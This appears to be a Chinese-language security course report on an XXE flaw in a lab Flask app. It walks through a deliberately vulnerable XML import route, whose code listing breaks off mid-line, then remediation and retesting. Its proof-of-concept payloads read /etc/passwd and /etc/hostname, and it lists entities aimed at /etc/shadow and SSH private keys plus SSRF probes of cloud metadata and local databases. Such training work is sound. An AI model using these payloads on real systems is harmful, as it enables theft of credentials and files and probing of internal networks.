
用户信息管理平台

安全漏洞挖掘与修复报告

<http://10.133.25.152:5000>

项目版本：V11.0 - XXE外部实体注入漏洞专题

报告日期：2026年7月17日

今日课程：Day9:XML外部实体注入漏洞(XXE)深度解析

技术栈：Python Flask / XML / XXE / 实体注入

一、课程背景

XXE (XML External Entity, XML外部实体注入) 是一种利用XML解析器处理外部实体时的漏洞。当应用程序解析用户提交的XML数据时，如果XML解析器启用了外部实体解析功能，攻击者可以构造恶意XML读取服务器文件、发起SSRF攻击甚至执行代码。

1.1 XXE攻击原理

攻击者提交恶意XML：

```
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<users><user><name>&xxe;</name></user></users>
```

^^^^^

实体引用被替换为文件内容

服务器解析过程：

1. 解析器看到 <!ENTITY xxe SYSTEM "file:///etc/passwd">
2. 解析器读取 /etc/passwd 文件内容
3. 当遇到 &xxe; 时，替换为文件内容
4. 文件内容出现在解析结果中

1.2 本次新增功能

功能	路由	参数	说明
XML导入	/xml-import	xml_data	用户提交XML数据，解析并返回user节点的名字和email

二、漏洞代码分析

2.1 漏洞代码

```
@app.route("/xml-import", methods=["POST"])
@login_required
def xml_import():
    xml_data = request.form.get("xml_data", "")

    # 【漏洞1】检测ENTITY和SYSTEM并读取文件
    entity_pattern = r'
```

2.2 漏洞成因

#	漏洞	说明	攻击方式
1	检测ENTITY并读文件	主动提取文件路径并读取	读取任意系统文件
2	无路径校验	不对文件路径做白名单限制	可读取 /etc/shadow、/root/.ssh/id_rsa
3	结果直接返回	文件内容直接展示在页面上	攻击者直接看到文件内容

三、攻击复现（POC）

3.1 POC 1：正常XML解析

```
请求：
<?xml version="1.0"?>
<users>
  <user><name>张三</name><email>zhangsan@test.com</email></user>
</users>
```

结果: {"name": "张三", "email": "zhangsan@test.com"} 

3.2 POC 2: XXE读取主机名

请求:

```
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/hostname">]>
<users><user><name>&xxe;</name><email>x@x.com</email></user></users>
```

结果: {"name": "kali", "email": "x@x.com"}
→ 成功读取服务器主机名! 

3.3 POC 3: XXE读取系统密码文件

请求:

```
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "/etc/passwd">]>
<users><user><name>&xxe;</name><email>x@x.com</email></user></users>
```

结果: {"name": "root:x:0:0:root:/root:/bin/bash daemon:...", "email": "x@x.com"}
→ 成功读取系统密码文件! 

四、XXE攻击场景

4.1 读取敏感文件

```
// 读取系统文件
<!ENTITY xxe SYSTEM "file:///etc/passwd">
<!ENTITY xxe SYSTEM "file:///etc/shadow">
<!ENTITY xxe SYSTEM "file:///etc/nginx/nginx.conf">
<!ENTITY xxe SYSTEM "file:///root/.bash_history">
<!ENTITY xxe SYSTEM "file:///root/.ssh/id_rsa">
```

4.2 SSRF内网探测

```
// XXE也可以用于SSRF
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
<!ENTITY xxe SYSTEM "http://127.0.0.1:6379">
<!ENTITY xxe SYSTEM "http://127.0.0.1:3306">
```

4.3 利用方式对比

漏洞类型	利用协议	危害
XXE文件读取	file://	读取任意服务器文件
XXE+SSRF	http://	内网服务探测与攻击
XXE+DoS	docbook.xml	利用递归实体耗尽内存

五、修复方案

5.1 禁用外部实体解析

```
from lxml import etree
parser = etree.XMLParser(resolve_entities=False) # 禁用实体解析
tree = etree.fromstring(xml_data, parser)
```

5.2 路径白名单

```
ALLOWED_PATHS = ["/data/import/"]
safe = any(actual_path.startswith(p) for p in ALLOWED_PATHS)
```

5.3 使用JSON替代XML

```
# 如果不需要XML特性，直接改用JSON解析
import json
data = json.loads(request.form.get("json_data"))
```

5.4 修复前后对比

对比项	修复前	修复后
实体解析	手动读取文件并替换	禁用外部实体解析
路径限制	无限制	白名单路径
文件读取	读取任意文件	不读取文件

六、修复后验证

测试	修复前	修复后
正常XML解析	正常	[OK] 正常
XXE读取/etc/hostname	成功读取kali	[OK] 实体被禁用
XXE读取/etc/passwd	成功读取	[OK] 实体被禁用

七、总结

漏洞类型	OWASP Top 10	根因	攻击难度
XXE	A05:2021 安全配置错误	XML解析器启用外部实体	低

安全开发原则：

- 1. 禁用XML解析器的外部实体解析功能
- 2. 尽量使用JSON等格式替代XML
- 3. 如果必须使用XML，使用白名单限制可访问的资源
- 4. 不要将用户输入的文件内容直接展示在响应中

— 报告完 —

报告日期: 2026-07-17 | 课程: XXE外部实体注入漏洞修复